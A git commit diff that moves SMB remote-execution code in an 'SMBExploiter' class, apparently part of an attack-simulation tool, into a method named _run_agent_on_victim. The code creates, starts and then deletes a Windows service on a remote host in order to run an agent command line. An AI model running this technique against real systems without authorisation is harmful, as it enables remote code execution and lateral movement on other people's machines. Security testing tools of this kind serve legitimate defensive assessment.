Agent: Extract method _run_agent_on_victim

This commit is contained in:
Kekoa Kaaikala 2022-10-06 14:49:36 +00:00
parent c3ba2cf6b2
commit db09fe0cae
1 changed files with 33 additions and 31 deletions

View File

@ -69,37 +69,7 @@ class SMBExploiter(HostExploiter):
return self.exploit_result
scmr_rpc.bind(scmr.MSRPC_UUID_SCMR)
resp = scmr.hROpenSCManagerW(scmr_rpc)
sc_handle = resp["lpScHandle"]
# start the monkey using the SCM
try:
resp = scmr.hRCreateServiceW(
scmr_rpc,
sc_handle,
SMBExploiter.SMB_SERVICE_NAME,
SMBExploiter.SMB_SERVICE_NAME,
lpBinaryPathName=cmdline,
)
except DCERPCSessionError as err:
if err.error_code == 0x431:
logger.debug(f'SMB service "{SMBExploiter.SMB_SERVICE_NAME}" already exists')
resp = scmr.hROpenServiceW(scmr_rpc, sc_handle, SMBExploiter.SMB_SERVICE_NAME)
else:
self.exploit_result.error_message = str(err)
return self.exploit_result
service = resp["lpServiceHandle"]
try:
scmr.hRStartServiceW(scmr_rpc, service)
status = ScanStatus.USED
except Exception:
status = ScanStatus.SCANNED
pass
self.telemetry_messenger.send_telemetry(T1035Telem(status, UsageEnum.SMB))
scmr.hRDeleteService(scmr_rpc, service)
scmr.hRCloseServiceHandle(scmr_rpc, service)
self._run_agent_on_victim(scmr_rpc, cmdline)
logger.info(
"Executed monkey '%s' on remote victim %r (cmdline=%r)",
@ -219,3 +189,35 @@ class SMBExploiter(HostExploiter):
return scmr_rpc
return None
def _run_agent_on_victim(self, scmr_rpc: DCERPC_v5, cmdline: str):
scmr_rpc.bind(scmr.MSRPC_UUID_SCMR)
resp = scmr.hROpenSCManagerW(scmr_rpc)
sc_handle = resp["lpScHandle"]
try:
resp = scmr.hRCreateServiceW(
scmr_rpc,
sc_handle,
SMBExploiter.SMB_SERVICE_NAME,
SMBExploiter.SMB_SERVICE_NAME,
lpBinaryPathName=cmdline,
)
except DCERPCSessionError as err:
if err.error_code == 0x431:
logger.debug(f'SMB service "{SMBExploiter.SMB_SERVICE_NAME}" already exists')
resp = scmr.hROpenServiceW(scmr_rpc, sc_handle, SMBExploiter.SMB_SERVICE_NAME)
else:
self.exploit_result.error_message = str(err)
return self.exploit_result
service = resp["lpServiceHandle"]
try:
scmr.hRStartServiceW(scmr_rpc, service)
status = ScanStatus.USED
except Exception:
status = ScanStatus.SCANNED
pass
self.telemetry_messenger.send_telemetry(T1035Telem(status, UsageEnum.SMB))
scmr.hRDeleteService(scmr_rpc, service)
scmr.hRCloseServiceHandle(scmr_rpc, service)